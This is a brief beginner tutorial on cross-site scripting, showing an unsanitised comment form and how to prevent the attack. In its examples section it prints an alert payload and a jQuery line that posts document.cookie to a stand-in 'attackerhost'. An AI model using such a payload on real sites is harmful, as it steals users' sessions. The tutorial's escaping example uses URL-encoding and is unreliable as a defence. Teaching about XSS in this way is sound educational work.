XSS-ATTACK

this section is talking about xss attack and its prevention

If you have not been familiar with HTML / Javascript, you can pass this section temporily

Table of Contents

XSS
XSS-Examples
XSS-Prevention
References

XSS

XSS ( Cross-site scripting ) enables attackers to inject client-side script into web pages viewed by other users

XSS-Examples

Precondition
1. You make a forum website and let users to write down their comments
```
<form method='post' action="comments">
  <textarea name='comment' id='comment'></textarea>
  <input type='submit' value='Submit' />  
</form>
```
1. The website stores the origin comment without any processing
2. When the other users view a comment, they may get
```
<div>
  [ the comments ]
</div>
```
where the comments are the origin text without any processing
- Case 1
  1. If an attacker write down comments like this
```
<script>alert('You are attacked')</script>
```
  1. Any user views this comment would get an an alert window with text You are attacked
- Case 2
  1. If an attacker write down comments like this
```
$.post( "http://attackerhost/cookies", { cookie: document.cookie } );
```
  1. The other user's cookie would be stolen when they are viewing this comment

XSS-Prevention

We can see that XSS is very dangerous because attackers can execute whatever they want !

Backend / Frontend developers should make sure no script from users can be executed.

Content Filtering : encode / escape the sensitive words ( e.g. <, > )
- before
```
<b>very</b> large
```
- after
```
%3Cb%3Every%3C/b%3E%20large
```
Disabling Scripts : disable javascript in the browser, nothing can be executed

References